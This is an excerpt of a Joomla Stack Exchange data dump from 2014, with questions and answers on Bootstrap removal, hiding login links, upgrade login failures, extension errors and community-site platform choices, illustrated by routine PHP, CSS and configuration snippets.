  <row Id="4950" PostTypeId="1" AcceptedAnswerId="5000" CreationDate="2014-10-26T17:45:04.633" Score="0" ViewCount="339" Body="&lt;p&gt;I'm not very experienced with Joomla. I've installed Joomla 3.3 and Uber 1.0 as a template. I created two languages, English and Italian, and the menu which has to redirect the user. But when I try to surf the site I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: touch(): Utime failed: Operation not permitted in /plugins/system/t3/includes/core/less.php on line 422 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;and&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 71 bytes) in /plugins/system/t3/includes/lessphp/less/less.php on line 5401 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why these error are occurring?&lt;/p&gt;&#xA;" OwnerUserId="2090" LastEditorUserId="168" LastEditDate="2014-10-26T18:43:49.940" LastActivityDate="2014-10-29T16:07:33.043" Title="Memory overflow error" Tags="|joomla-3.x|t3-framework|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4951" PostTypeId="2" ParentId="4942" CreationDate="2014-10-27T09:17:05.590" Score="2" Body="&lt;p&gt;If you mean templates (layouts) then you can use &lt;code&gt;JLayout&lt;/code&gt; to render them. Make &lt;code&gt;/layouts&lt;/code&gt; folder inside you plugin to store layouts' files. Then in your plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set base path&#xA;JLayoutHelper::$defaultBasePath = JPATH_PLUGINS . '/' . $this-&amp;gt;_type . '/' . $this-&amp;gt;_name . '/layouts';&#xA;&#xA;// Render mylayout.php&#xA;$renderedLayout = JLayoutHelper::render('mylayout');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Sharing_layouts_across_views_or_extensions_with_JLayout&quot; rel=&quot;nofollow&quot;&gt;Sharing layouts across views or extensions with JLayout&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-10-27T09:17:05.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4953" PostTypeId="1" AcceptedAnswerId="4986" CreationDate="2014-10-27T10:50:14.440" Score="15" ViewCount="18910" Body="&lt;p&gt;Recently, I tried to remove all instances of Bootstrap from the front end of Joomla for debugging purposes. &#xA;I was using a skeleton template with a relatively new installation of Joomla 3.3. I removed all inclusions of Bootstrap from the template and I turned off all plugins and modules that I thought could be loading it. I also cleared Joomla cache. Despite that, firebug told me that Joomla was still trying to load bootstrap.min.js from /media/jui/js/bootstrap.min.js&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got round the problem by temporarily renaming the bootstrap file, but it got me wondering. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does this happen with all Joomla 3.3 installations or is just mine?&lt;/li&gt;&#xA;&lt;li&gt;Is there a way I can identify where bootstrap is being loaded from?&lt;/li&gt;&#xA;&lt;li&gt;Is there a way I can disable bootstrap from loading?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-10-27T22:43:58.567" LastActivityDate="2017-05-05T08:33:12.547" Title="How can I completely remove Bootstrap from the frontend of Joomla?" Tags="|joomla-3.3.x|bootstrap|" AnswerCount="9" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4954" PostTypeId="2" ParentId="4367" CreationDate="2014-10-27T10:52:03.870" Score="2" Body="&lt;p&gt;First of all, &lt;em&gt;don't change any of the Joomla core files&lt;/em&gt;, your changes will be lost when you update Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove the &lt;code&gt;User Registration&lt;/code&gt; option, go to &lt;strong&gt;Users&lt;/strong&gt; -&gt; &lt;strong&gt;User Manager&lt;/strong&gt; in your Joomla admin area, and click &lt;kbd&gt;Options&lt;/kbd&gt; in the upper right corner. Then set &lt;code&gt;Allow User registration&lt;/code&gt; to &lt;strong&gt;No&lt;/strong&gt;. This will completely disable the user registration option. (You can still create new users from the Joomla backend).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wHQHI.jpg&quot; alt=&quot;Joomla User Manager&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for removing &lt;code&gt;Forgot your username&lt;/code&gt; and &lt;code&gt;Forgot your password&lt;/code&gt;, I would simply use CSS to hide it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your template's &lt;code&gt;custom.css&lt;/code&gt; file (or similar), add the following code to hide the links in question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.login + div {&#xA;   display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br&gt;&#xA;The login component seems to render these links in &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; tags &lt;em&gt;without&lt;/em&gt; any class or ID, thus making it impossible to target them directly using CSS. The above code will target any &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tag that shows up &lt;strong&gt;immediately after&lt;/strong&gt; the &lt;code&gt;&amp;lt;div class=&quot;login &quot;&amp;gt;&lt;/code&gt; block, thus hiding the links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that even if the links are hidden, the functions can be accessed by using a direct URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Forgot your password?&lt;/em&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://example.com/index.php?option=com_users&amp;amp;view=reset&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com/index.php?option=com_users&amp;amp;view=reset&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Forgot your username?&lt;/em&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://example.com/index.php?option=com_users&amp;amp;view=remind&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com/index.php?option=com_users&amp;amp;view=remind&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-27T10:52:03.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4955" PostTypeId="2" ParentId="4953" CreationDate="2014-10-27T11:01:06.900" Score="3" Body="&lt;p&gt;This is something that has bugged me since the beginning of Joomla 3.x and still to this day, nothing has been done to give the user the option to prevent the bootstrap files from being loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, Bootstrap gets loaded from the core of Joomla and this is due to some core features that require it to work, thus removing it completely will prevent some features from working such as the Tooltip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to remove it (that I know of) is via a core hack in the following file: (&lt;strong&gt;not recommended&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;libraries\cms\html\bootstrap.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The only other way I can think of is create a template override for every module, component and plugin that calls the bootstrap library and remove it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither method is nice however Joomla 3.x was built on Bootstrap so we have to live with it&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-09-01T22:43:13.697" LastActivityDate="2015-09-01T22:43:13.697" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4956" PostTypeId="2" ParentId="4953" CreationDate="2014-10-27T11:34:35.900" Score="7" Body="&lt;p&gt;Just an idea (not tested), but how about building a small plugin that unsets Bootstrap?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRender() {&#xA;    //get the array containing all the script declarations&#xA;     $document = JFactory::getDocument(); &#xA;     $headData = $document-&amp;gt;getHeadData();&#xA;     $scripts = $headData['scripts'];&#xA;&#xA;     //remove script&#xA;     unset($scripts['/media/jui/js/bootstrap.min.js']);&#xA;     $headData['scripts'] = $scripts;&#xA;     $document-&amp;gt;setHeadData($headData);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-27T11:34:35.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4957" PostTypeId="1" AcceptedAnswerId="4961" CreationDate="2014-10-27T11:53:19.503" Score="2" ViewCount="3634" Body="&lt;p&gt;I have followed the instructions given in following forum post and also googled for how to upgrade joomla 2.5 to 3.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=710&amp;amp;t=793171&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?f=710&amp;amp;t=793171&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that my process was as follows&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Check availability of new version &lt;/li&gt;&#xA;&lt;li&gt;Update all extensions (Modules, Components and Plug-ins) &lt;/li&gt;&#xA;&lt;li&gt;Delete all extensions that are not compatible with Joomla 3(There are few extensions that we don’t use)&lt;/li&gt;&#xA;&lt;li&gt;Update Joomla 2.5 to 3.0 &lt;/li&gt;&#xA;&lt;li&gt;Create templates &lt;/li&gt;&#xA;&lt;li&gt;Create Template, library and MVC Overrides&lt;/li&gt;&#xA;&lt;li&gt;Check all functionalities&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have done four steps successfully. But after upgrading to joomla 3, it works well. Unfortunately I couldn't log into the system after signing out from admin area. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyone who had such experience earlier? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;==============Update===============&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed Joomla! 3.3.6 and compared data in login task by printing credentials and result data of login function as below. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function login()&#xA;{&#xA;    // Check for request forgeries.&#xA;    JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN'));&#xA;&#xA;    $app = JFactory::getApplication();&#xA;   echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;    $model = $this-&amp;gt;getModel('login');&#xA;    $credentials = $model-&amp;gt;getState('credentials');&#xA;    $return = $model-&amp;gt;getState('return');&#xA;print_r($credentials);&#xA;        $result = $app-&amp;gt;login($credentials, array('action' =&amp;gt; 'core.login.admin'));&#xA;print_r($result);&#xA;&#xA;&#xA;    if (!($result instanceof Exception))&#xA;    {&#xA;                var_dump($result);&#xA;                die('okk');&#xA;        $app-&amp;gt;redirect($return);&#xA;    }&#xA;&#xA;    parent::display();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All data were printed as we enter and result is 1. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Array&#xA;(&#xA;    [username] =&amp;gt; admin&#xA;    [password] =&amp;gt; entered_password&#xA;    [secretkey] =&amp;gt; &#xA;)&#xA;&#xA;1bool(true)&#xA;okk&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But after redirecting following things happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New installation - redirect correctly to back end&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upgraded installation - redirect to login again without messages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1773" LastEditorUserId="126" LastEditDate="2014-12-03T10:37:31.253" LastActivityDate="2014-12-03T10:37:31.253" Title="Unable to log in after upgrading joomla 2.5 to 3.0" Tags="|joomla-3.x|joomla-2.5|user|login|upgrade|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4958" PostTypeId="2" ParentId="4957" CreationDate="2014-10-27T12:06:19.960" Score="2" Body="&lt;p&gt;Go to &lt;strong&gt;PHPmyAdmin&lt;/strong&gt; and open the &lt;code&gt;#__users&lt;/code&gt; table. Find the row for your username and in the &lt;code&gt;password&lt;/code&gt; column, change the value to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$2y$10$URiAMY7fBnA75xlGoUmW0uuJ.SegjlM5YnFSPuO.hI9XHzPYxRoPO&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This hash = &lt;code&gt;changeme&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go your the Joomla backend, enter your username and enter &lt;code&gt;changeme&lt;/code&gt; for the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then reset your password back to whatever it was before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-10-27T12:36:38.890" LastActivityDate="2014-10-27T12:36:38.890" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="4960" PostTypeId="2" ParentId="4953" CreationDate="2014-10-27T14:18:54.693" Score="1" Body="&lt;p&gt;Joomla 3.3(less than) is based on Bootstrap 2.3 not Bootstrap 3.X&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to migrate to new release of Bootstrap, and there was a lot positions which I've to changed of course based on my idea. I've done it but very lately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a lot positions of code I had to disable Bootstrap such below code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// Add JavaScript Frameworks&#xA;JHtml::_('bootstrap.framework');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and made a new completely Joomla template to do that; but if you want to migrate to another UI framework I think, you have to continue these process too and at least you have more than 30 Components, Modules, Plugins, and some Joomla legacy codes you have to developed again. It's simple but needs many time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New perception 02 July 2015:&#xA;based on &quot;unset&quot; method in Joomla that some of our friends mentioned in this forum I could completely disable previous version of Bootstrap and Mootools or any other Javascript library or CSS file.&#xA;I'm sorry in before I mentioned bad solution. you can read this &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=771131&quot; rel=&quot;nofollow&quot;&gt;post&lt;/a&gt; to get more information to disable Bootstrap&lt;/p&gt;&#xA;" OwnerUserId="2098" LastEditorUserId="2098" LastEditDate="2015-07-12T05:28:24.347" LastActivityDate="2015-07-12T05:28:24.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4961" PostTypeId="2" ParentId="4957" CreationDate="2014-10-27T14:23:28.147" Score="4" Body="&lt;p&gt;There was a &lt;a href=&quot;https://joomla.stackexchange.com/questions/492/unable-to-log-into-administrator-section-of-joomla-2-5&quot;&gt;similar question&lt;/a&gt; a couple of months ago, and the user ended up starting over with a fresh installation of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this might not be an option depending on how much work you've put into the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it's hard to give a definite solution, here's a couple of things you can try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you're using &lt;code&gt;.htaccess&lt;/code&gt;, try renaming it temporarily. Remember that any &lt;code&gt;.htaccess&lt;/code&gt; in parent directories will also affect subdirectories (this is important if you updated Joomla in a sub-directory).&lt;/li&gt;&#xA;&lt;li&gt;Check if your &lt;code&gt;/administrator/&lt;/code&gt; directory contains an &lt;code&gt;.htaccess&lt;/code&gt; file as well. If it does, please rename it.&lt;/li&gt;&#xA;&lt;li&gt;Make sure the plugin &lt;code&gt;plg_user_joomla&lt;/code&gt; is enabled (open your database using phpMyAdmin or similar, and look for it in the &lt;code&gt;#_extensions table&lt;/code&gt;, the &lt;em&gt;enabled&lt;/em&gt; field should have a value of &lt;code&gt;1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable SEF and Rewrite rules in &lt;code&gt;configuration.pnp&lt;/code&gt; in your Joomla root folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $sef = '0';&#xA;public $sef_rewrite = '0';&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Verify if you can log in on the front-end by going to this url: &lt;a href=&quot;http://yoursite.com/index.php?option=com_users&amp;amp;view=login&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://yoursite.com/index.php?option=com_users&amp;amp;view=login&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set Joomla error reporting to &quot;Maximum&quot; by setting this value in &lt;code&gt;configuration.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $error_reporting = '6143';&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;Download the latest FULL installation of Joomla, and unzip it to your Joomla directory, replacing any existing file (I assume you haven't done any core hacks?).&lt;/li&gt;&#xA;&lt;li&gt;Although it looks like your admin password is correct, try some of &lt;a href=&quot;https://joomla.stackexchange.com/questions/4462/how-reset-password-for-admin-after-migration-from-1-5/4486#4486&quot;&gt;these solutions&lt;/a&gt; to reset your admin password or create a new user.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Maybe this helps you solve the problem, or points you in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-10-27T14:23:28.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4962" PostTypeId="2" ParentId="4957" CreationDate="2014-10-27T20:21:03.897" Score="2" Body="&lt;p&gt;A few additional troubleshooting ideas that may help on this issue, sometimes combined with steps described in the other answers.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Clear - Refresh browser cache, cookies, or try with a different browser.&lt;/li&gt;&#xA;&lt;li&gt;Truncate the sessions table from the database.&lt;/li&gt;&#xA;&lt;li&gt;Check if front-end login is still working. Disable SEF urls and use the /index.php?&amp;amp;option=com_users in order to reach the login screen. If you can't login from the front-end, then it's a big chance that something is wrong with the database. It can be that the required authorization/user plugins are disabled, or possibly, another extension that deals with registrations/access/login - so check your database for this kind of extension and disable/enable accordingly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In many cases a common cause of this issue can be a corrupted assets table. Unfortunately there is no easy fix for this, and it might be better if you could re-update the database from Joomla 2.5 again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But before you run the upgrade to Joomla 3 again, you might have better luck if you could review any assets issues in J25. Especially if the website was previously updated from J1.5, there is a big chance that the assets table might be messy enough. &#xA;The component &lt;a href=&quot;http://www.aclmanager.net/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;ACL manager component&lt;/strong&gt;&lt;/a&gt; (paid) is a very useful tool that deals with this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then run the upgrade to J3. For quicker results, you might want to disable 3rd party extensions so you will only have to deal with the core. When in Joomla 3, go in the extensions manager and check the database tab for any issues. Check if login is working. If yes, you could just start trying copying tables from the newly J3 updated database to your previous one. Try with the following tables first (by testing one by one if it fixes the issue):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;users&lt;/li&gt;&#xA;&lt;li&gt;usergroup&lt;/li&gt;&#xA;&lt;li&gt;user_usergroup_map&lt;/li&gt;&#xA;&lt;li&gt;assets&lt;/li&gt;&#xA;&lt;li&gt;extensions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another way you could try import data from J25, is by using the &lt;a href=&quot;http://cyend.com/extensions/extensions/components/91-sp-transfer&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;SP_Transfer&lt;/strong&gt;&lt;/a&gt; extension (paid) on a fresh joomla 3 install. This tool is installed on Joomla3 and allows you to transfer data from 2.5. You can select specific tables or records to import. After you do so in J3, you can try again if the login works and if yes, you can copy the above mentioned tables to your upgraded J3 site.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-10-27T20:21:03.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4963" PostTypeId="1" CreationDate="2014-10-27T21:06:00.190" Score="2" ViewCount="1348" Body="&lt;p&gt;On a page developed with Joomla 3.0, Gantry Framework &amp;amp; Magnus Template everything has been running fine but when installing new extensions like rs_mediagallery , facegallery or rokgallery , the installation finishs well but then when trying to access the component to configure (ie: Components --&gt; Rsmediagallery) it shows a blank page and firebug indicates an error &quot; 500 Internal Server Error&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the site is running well including another extensions already installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tmp and extension directories have the correct permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone has an idea in order to solve this error, I thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Campo&lt;/p&gt;&#xA;" OwnerUserId="2101" LastActivityDate="2015-03-29T03:57:33.553" Title="Error 500 in new extensions installed (Joomla 3.0 Gantry Framework &amp; Magnus tmpl)" Tags="|joomla-3.x|gantry|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4964" PostTypeId="1" CreationDate="2014-10-27T22:14:20.873" Score="6" ViewCount="267" Body="&lt;p&gt;Hello I am seeking advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have a CMS to organize a community of photographers.&#xA;Essentially all I need is the possibility to register users, each having his/her own profile in which they upload their brilliant photos, supposedly their most artistic ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website would have a couple of pages where one can see random pictures from the database of all users, or have a similar upshot of certain categories of photos (landscape, portrait, monuments, ...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen that some CMS exist to organize photo galleries, but they seem to be mostly single-users gallery, whereas here I would like to get a multiple users, a community, where people share their art.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, can Joomla manage this type of content? any suggestion about how to create and manage this type of website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your replies. &#xA;Cheers,&#xA;Roberto&lt;/p&gt;&#xA;" OwnerUserId="2102" LastEditorUserId="126" LastEditDate="2015-10-31T18:46:24.337" LastActivityDate="2015-10-31T18:46:24.337" Title="Community of photographers: is Joomla the CMS to go for?" Tags="|joomla-3.x|extensions|cms|features|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4966" PostTypeId="2" ParentId="4964" CreationDate="2014-10-27T22:45:26.510" Score="5" Body="&lt;p&gt;You are right, most of the CMS dedicated for organizing image galleries are portfolio type websites for a single user. Joomla on the other hand provides great power and flexibility to built what you are describing.&lt;/p&gt;&#xA;&lt;p&gt;There are ready made &lt;strong&gt;Community&lt;/strong&gt; extensions like &lt;strong&gt;Jom-Social&lt;/strong&gt;, &lt;strong&gt;Community Builder&lt;/strong&gt;, &lt;strong&gt;Easy Social&lt;/strong&gt;... that will allow you to build a Community driven website. Most of these extensions have &lt;strong&gt;integrated features&lt;/strong&gt; for managing user-groups, photos, videos, discussions, or can be extended with &lt;strong&gt;add-ons&lt;/strong&gt; extensions specific for them.&lt;/p&gt;&#xA;&lt;p&gt;There are also any other kind of extensions for handling &lt;strong&gt;memberships&lt;/strong&gt;, &lt;strong&gt;subscriptions&lt;/strong&gt;, &lt;strong&gt;forums&lt;/strong&gt;,  &lt;strong&gt;newsletters&lt;/strong&gt;, complex &lt;strong&gt;forms&lt;/strong&gt; and more - or extensions that will let you build your &lt;strong&gt;Custom Content Types&lt;/strong&gt;, &lt;strong&gt;Directories&lt;/strong&gt; or &lt;strong&gt;Custom applications&lt;/strong&gt; of any kind inside Joomla (K2, Cobalt, Sobi Pro, Fabrik to name a few).&lt;/p&gt;&#xA;&lt;p&gt;If something does not already exist, meets your needs, or you just need a specific integration you can always develop it (or hire a developer to do so).&lt;/p&gt;&#xA;&lt;p&gt;However my main recommendation, if you are new to Joomla and in the web development in general, and you have a clear and specific plan, and your goal is to create a quality online project, you will be better to hire a professional or a team of professionals to build this project on a solid and stable basis from scratch. Unless you have plenty of time and wish to try it at your own while learning from mistakes, you will be better if you make a good research for the right professional (something that one way or another you will probably need in the long run anyway).&lt;/p&gt;&#xA;&lt;p&gt;The project you want to create is more than the an average one. If you want it successful then you should walk professionally from the beginning to the end.&lt;/p&gt;&#xA;&lt;h3&gt;Update - answer to your comment:&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;Joomla&lt;/strong&gt; is well-known for its ability to deliver online communities projects. Overall is a great and stable platform, which incorporates deep ACL support in its core and it has thousands ready-made extensions for any kind of functionality.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Drupal&lt;/strong&gt; could be also another choice well-suited for big projects, and provides deep customizations flexibility as well.&lt;/p&gt;&#xA;&lt;p&gt;I am not sure what is the current status of &lt;strong&gt;Wordpress&lt;/strong&gt; community plugins, but at this moment I wouldn't propose WP as the platform for this project.&lt;/p&gt;&#xA;&lt;p&gt;There are so many other CMS out there, but I do not have that big working experience with most of them.&lt;/p&gt;&#xA;&lt;p&gt;Finally there is always the choice of a completely &lt;strong&gt;custom developed solution&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Keep in mind, that in such projects, it's not the platform that will guarantee its success in all terms (planning, development, launch, operation, marketing-promotion, maintenance, etc), but the guys behind the project.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The right platform at the right hands is a guarantee for success.&lt;/p&gt;&#xA;&lt;p&gt;The right platform at the wrong hands will be a failure.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;A few more things to pay attention when choosing: &lt;strong&gt;Community Support&lt;/strong&gt;, &lt;strong&gt;Extensibility&lt;/strong&gt;, &lt;strong&gt;Quality of code base&lt;/strong&gt; (including system requirements), &lt;strong&gt;Existing extensions&lt;/strong&gt;, &lt;strong&gt;Adequate number of developers&lt;/strong&gt; to hire, &lt;strong&gt;Other similar existing projects&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Most possible if I would have to do this project, I would pick up Joomla, mostly because it's the platform I have the biggest experience and know what I can do with it.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-11-23T20:30:37.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4967" PostTypeId="2" ParentId="4946" CreationDate="2014-10-27T23:05:48.670" Score="2" Body="&lt;p&gt;First of all, you should absolutely update Joomla, you're 21 versions behind (current version is 2.5.27). It might not solve your problem, but it will absolutely make your Joomla safer. From your screenshot I can also tell you're using VirtueMart 2.0.10, the latest version is 2.6.10. Please update both. Just make sure to take a backup first, I recommend &lt;a href=&quot;http://akeebabackup.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Backup&lt;/a&gt; (free or pro version).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your products not showing up: Please make sure you have created a menu item to display them, and set it up correctly. I can't see anything wrong with your configurations on your screenshot. Can you try this URL (replace &lt;code&gt;YOURSITE.COM&lt;/code&gt; with your real domain name):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://YOURSITE.COM/index.php?option=com_virtuemart&amp;amp;view=virtuemart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should see your categories, a couple of recent products and others, depending on your settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, you should create a menu item for VirtueMart in order to display products:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZJgTg.jpg&quot; alt=&quot;VirtueMart Menu item selector&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure filtering options are correctly set if your products still don't show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, several modules are available that can display items from one or more categories, or based on date, or hits etc... (There are about 550 extensions available for VirtueMart in the &lt;a href=&quot;http://extensions.joomla.org/extensions/extension-specific/virtuemart-extensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Extensions Directory&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-27T23:05:48.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
